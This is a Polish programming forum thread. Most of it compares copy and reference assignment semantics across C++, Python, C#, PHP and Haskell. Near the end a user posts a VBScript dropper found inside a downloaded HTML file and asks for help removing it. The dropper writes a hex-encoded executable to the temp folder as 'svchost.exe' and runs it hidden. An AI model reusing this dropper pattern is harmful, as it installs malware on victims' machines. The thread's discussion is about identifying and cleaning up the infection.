Programowanie - temat ogólny

Cytuj:

---

Zeimer napisał

Nie wiem jak ty, ale kiedy ja robię przypisanie, to spodziewam się kopii. Kopia jest znacznie bardziej przydatna, niż posiadanie dwóch referencji do tego samego obiektu.

---

dlatego c/c++ > wszystko, tam masz kontrolę nad tym, co robisz ;p
chcesz kopię? spoko, a = b
chcesz referencję? spoko, *a = &b
chcesz kopię z referencji? spoko, a = *b
itd :D
w sumie wskaźnik na obiekt można chyba nazwać referencją?
@
co sądzicie o serii "Learn xx the hard way"?

Cytuj:

---

2cztery7 napisał

w sumie wskaźnik na obiekt można chyba nazwać referencją?

---

yup
a w delfiaku masz tylko := i w sumie chyba na obiektach to dodaje referencję a dla prymitywów kopiuje, chociaż to może być bardziej złożone i nie ogarnąłem do końca

edit

Różnica polega jednak na tym, że do referencji można przypisać adres tylko raz

to... w delfiaku w sumie chyba wtedy tojest niejawny wskaźnik na ten sam adres co drugiego niejawnego wskaźnika -.-

Cytuj:

---

2cztery7 napisał

chcesz referencję? spoko, *a = &b
chcesz kopię z referencji? spoko, a = *b

---

Powinno byc:
a* = &b;
c& = b;

Cytuj:

---

szulak napisał

Powinno byc:
a* = &b;
c& = b;

---

http://ideone.com/pGT4SZ
??

Cytuj:

---

2cztery7 napisał

http://ideone.com/pGT4SZ
??

---

@2cztery7 ;

To jest ok, ale napisz to tak jak wczesniej napisales:

Cytuj:

---

2cztery7 napisał

chcesz referencję? spoko, *a = &b
chcesz kopię z referencji? spoko, a = *b

---

Dobra, juz wiem gdzie jest problem:
Ty zakladasz, ze *a = &b to to samo co TestClass *a = &b, a ja zakladam ze *a to TestClass *a; *a= &b

Ot, takie niedopatrzenie.

w sumie racja, powinienem był napisać z typem ;p

Cytuj:

---

Alex Fortune napisał

ale czegoś nie rozumiem
Po jaki gwizdek Ci kopia, w momencie kiedy z Twojego punktu widzenia to *jest* kopia, ponieważ jak tylko dostawisz inną wartość do jednej z tych zmiennych, referencja się zmieni, więc z Twojego punktu widzenia jest to dokładnie to samo, co operowanie na kopii? :D

---

No jednak nie jest to samo.

Kod:

---

Python 2.6.6 (r266:84292, Jan 22 2014, 09:42:36)
[GCC 4.4.7 20120313 (Red Hat 4.4.7-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = b = [1, 2]
>>> a
[1, 2]
>>> b
[1, 2]
>>> del b[1]
>>> a
[1]
>>> b
[1]

---

Zresztą odpal mój algorytm do znajdowania permutacji i zamień sobie kopię na przypisanie. Zobaczysz, że nie zadziała.

Cytuj:

---

2cztery7 napisał

dlatego c/c++ > wszystko, tam masz kontrolę nad tym, co robisz ;p
chcesz kopię? spoko, a = b
chcesz referencję? spoko, *a = &b
chcesz kopię z referencji? spoko, a = *b
itd :D
w sumie wskaźnik na obiekt można chyba nazwać referencją?
@
co sądzicie o serii "Learn xx the hard way"?

---

Jeszcze lepiej masz w Haskellu, tam jest praktycznie tylko kopia a i tak wszystko śmiga wzorowo : )

Cytuj:

---

Zeimer napisał

No jednak nie jest to samo.

Kod:

---

Python 2.6.6 (r266:84292, Jan 22 2014, 09:42:36)
[GCC 4.4.7 20120313 (Red Hat 4.4.7-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = b = [1, 2]
>>> a
[1, 2]
>>> b
[1, 2]
>>> del b[1]
>>> a
[1]
>>> b
[1]

---

Zresztą odpal mój algorytm do znajdowania permutacji i zamień sobie kopię na przypisanie. Zobaczysz, że nie zadziała.



Jeszcze lepiej masz w Haskellu, tam jest praktycznie tylko kopia a i tak wszystko śmiga wzorowo : )

---

No ale to jest wobec tego lista. :)

C#:

Kod:

---

List<int> test = new List<int>();
test.add(1);
test.add(5);
List<int> test2 = test;

test.remove(1);
//test i test2 nadal są te same

---

Implementacja różni się od języka, w PHPie np:

Kod:

---

$a = [1,2,3];
$b = $a;
$b[] = 4;
//$a i $b różnią się

---

W C++ domyslna semantyka, jest semantyka kopiowania:

Kod:

---

#include <iostream>
#include <cassert>
#include <list>
#include <cstdint>

int main()
{
        std::list<uint32_t> a = { 1, 2, 3};
        std::list<uint32_t> b (a);
       
        a.pop_back();
       
        assert(a.size() != b.size());
}

---

huehue
http://kwejk.pl/obrazek/2160597/takie-rzeczy.html

Hej TORGI, pobralem dzis plik ".html" i uruchomilem (niestety), a potem w srodku znalazlem takie cudo:

Kod:

---

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"

WriteData = "4D5A90000300000004000000....."

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName

If FSO.FileExists(DropPath)=False Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

Next

FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

WSHshell.Run DropPath, 0

//--></SCRIPT>

---

Teraz pytanie, jak sie tego pozbyc? Bo domyslam sie, ze to jakis virus.
Tutaj link do pastebin co dokladnie bylo w WriteData --> http://pastebin.com/FC5bzqe4

1. skrypt jest wykomentowany
2. It's important to note that VBScript is supported only by Internet Explorer.


ale sprawdź na wszelki wypadek wszystkie katalogi tymczasowe (2 to temp, ale kurde nie wiem który :D, prawdopodobnie ten w %temp%)

jeśli plik jest to przeskanuj, jak nie to luz, a sam później ogarnę co to (całkiem fajnie to jest zrobione, tak na szybko go nie wyciągnę)

Plik otworzylem za pomoca Google Chrome. W %temp% oraz %WinDir%\Temp zadnego pliku .exe nie mam.

weź jeszcze tak dla spokoju ducha załóż temat w sio z logami otl wg instrukcji, chociaż imo TEGO nie ędzie, najwyżej jakieś inne głupoty Vadim ci posprząta :D

(ciekawe, czy ie by toto wykonał bez pytania o zgodę, jeśli tak to trochę zonk, ale wątpię)

edit: haha, jak chciałem zmusić ten plik do działania to mi AV już jęczy

Moj avast niestety mial wyjebane.
Mysle, ze nie bedzie potrzeby dodatkowego skanowania. :P
Uruchomilem to na wirutalnej maszynie i faktycznie tworza sie 2 pliki w %temp%, wiec skoro u mnie ich nie ma to czuje sie bezpieczny.